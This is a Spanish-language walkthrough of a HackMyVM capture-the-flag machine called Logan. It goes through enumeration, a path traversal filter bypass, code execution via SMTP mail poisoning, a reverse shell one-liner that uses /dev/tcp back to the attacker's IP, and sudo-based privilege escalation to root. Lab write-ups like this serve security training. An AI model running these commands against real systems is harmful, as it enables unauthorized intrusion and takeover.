El dia de hoy estaremos resolviendo la maquina Logan de la plataforma de HackMyVm, Aqui dejo el enlance para descargar la Maquina
Enumeracion
Empezemos enumerando que puertos tiene abiertos la maquina victima usando la herramienta nmap
❯ nmap 192.168.0.18
Nmap scan report for 192.168.0.18
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
Solo tenemos dos puertos abiertos el 25
que corresponde al servicop smtp
y el 80
Que es un Servidor Web
Dectectemos que version corren para estos Puertos
.
❯ nmap -sCV -p25,80 192.168.0.18
Nmap scan report for 192.168.0.18
PORT STATE SERVICE
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
| ssl-cert: Subject: commonName=logan
| Subject Alternative Name: DNS:logan
| Not valid before: 2023-07-03T13:46:49
|_Not valid after: 2033-06-30T13:46:49
|_smtp-commands: logan.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: logan.hmv
nmap nos reporta un dominio logan.hmv
agregemos este dominio
al archivo /etc/hosts
❯ echo "192.168.0.18 logan.hmv" | sudo tee -a /etc/hosts
Veamos la Web.
Si nos ponemos a enumerar directorios o archivos en esta web nos encontramos con que no hay nada pero todavia nos queda enumerar subdominios
para esto voy a usar la herramiento wfuzz
y voy a usar un diccionario de seclists que es un repositorio de github el cual puedes clonar en tu equipo.
❯ wfuzz -c --hh=65 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.logan.hmv' -u http://logan.hmv/ -t 100
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://logan.hmv/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 62 L 101 W 1112 Ch "admin"
Encontramos un subdominio
agreguemoslo al archivo /etc/hosts
❯ echo "192.168.0.18 admin.logan.hmv" | sudo tee -a /etc/hosts
Veamos como se ve este subdominio
Tenemos 3 campos pero el unico que esta funcional es el de Payments
Al entrar en este nos pide un code
y nos muestra como ejemplo 01 y 02
Si pobramos poniendo cualquier numero nos muestra el siguiente mensaje.
Pobremos poniendo el 01
que es el numero que nos muestran de ejemplo, este nos devuelve un Contenido
.
Voy a interceptar esto con burpsuite
para ver como se esta tramitando la peticion.
Lo raro en esta peticion es el parametro file
y el error que nos da al momento de poner un numero como el 1
que nos dice File does not exist
por lo que posiblemente se pueda aconteser un LFI.
Intentemos aplicar un Path Traversal
y apuntar al archivo /etc/passwd
pero de esta manera nos sigue diciendo que el archivo no existe.
Puede ser que se este aplicando algun tipo de sanitizacion y nos este quitando el ../
pero como vamos a ver en el siguiente ejemplo esto tiene que estar bien sanitizado para que quite todos los ../
y no solo el primero.
Aqui muestro un ejemplo usando la function str_replace
de php.
Hacemos el mismo Path Traversal
que aplicamos desde Burpsuite
y observamos que nos queda simplemente la cadena etc/passwd
Esta funcion no es muy segura ya que si en ves de poner ../
ponemos ....//
al momento de quitar el ../
no quedaria otro ../
Veamos un ejemplo de esto.
Apliquemos esta teoria en la web para ver si podemos llegar a visualizar el archivo /etc/passwd
y logramos bypassear la sanitizacion que esta aplicando la web y visualizar el archivo.
Shell - www-data
Veamos Si tenemos capacidad de leer los logs de SMTP
que es el servicio que esta expuesto, la ruta por defecto de este archivo es /var/log/mail.log
Tenemos capacidad de ver los logs.
Este Log
en principio no nos sirve para aplicar un Log Poisoning
pero tenemos otro camino para llegar a inyectar comandos.
La idea es la siguiente al momento de enviar un Correo
de un usuario a otro en el maquina se guarda el correo y el contenido de este en la ruta /var/mail/<username>
donde username en este caso va hacer www-data
Veamos nuevamente el archivo /etc/passwd
para identificar algun usuario.
Identificamos al usuario logan
usemos este para enviar el correo.
Voy a usar telnet
para conectarme al servidor, MAIL FROM
es para indicarle quien envia el Correo
, RCPT TO
para indicarle quien es el destinatario y DATA
para indicarle el mensaje que queremos enviar, En el mensaje voy a injectar codigo php
atraves del cual con el parametro cmd
pueda Controlar el comando a Ejecutar.
Como indique anteriormente la ruta en la que se guardan estos correo es en /var/mail/<username>
, Veamos este archivo y comprobemos Si tenemos capacidad de ejecutar Comandos
.
Podemos ver el mail que se envio correctamente.
En el Codigo
php que mandamos definimos un parametro cmd
para ejecutar comandos
, Ahora simplemente agreguemos el parametro cmd
y pongamos un comando para ver si nos lo interpreta.
Para enviarme un ReverShell
voy a usar el siguiente OneLiner
bash -c "bash -i >& /dev/tcp/192.168.0.14/443 0>&1"
Tenemos que Urlencodear
todo el comando.
Ganamos accesso a la maquina.
Shell - logan
Listando nuestros privilegios a nivel de Sudoers
podemos ver que tenemos la capacidad de ejecutar el comando vim
como el usuario logan
.
Atraves de vim hay formas de escapar de este contexto para ganar un shell
, si no vamos a gtfobins no muestran como obtener una shell usando vim
shell - root
Listemos nuevamente nuestros privilegios a nivel de Sudoers
.
Tenemos capacidad de ejecutar con python3
el archivo /opt/learn_some_python.py
como el usuario root
Intento ver el contenido del archivo /opt/learn_some_python.py
pero no tenemos capacidad de lectura.
logan@logan:/$ cat /opt/learn_some_python.py
cat: /opt/learn_some_python.py: Permission denied
Ejecutamos el archivo y nos pide un input el cual nos muestra como ejemplo un print('hello')
, lo ponemos y nos muestra el mensaje que le indicamos.
Parece que podemos ejecutar codigo en python
libremente por lo que podemos importar la libreria os
y ejecutar un comando.
Ahora simplemente ejecutamos un /bin/bash
y tendriamos una consola como el usuario root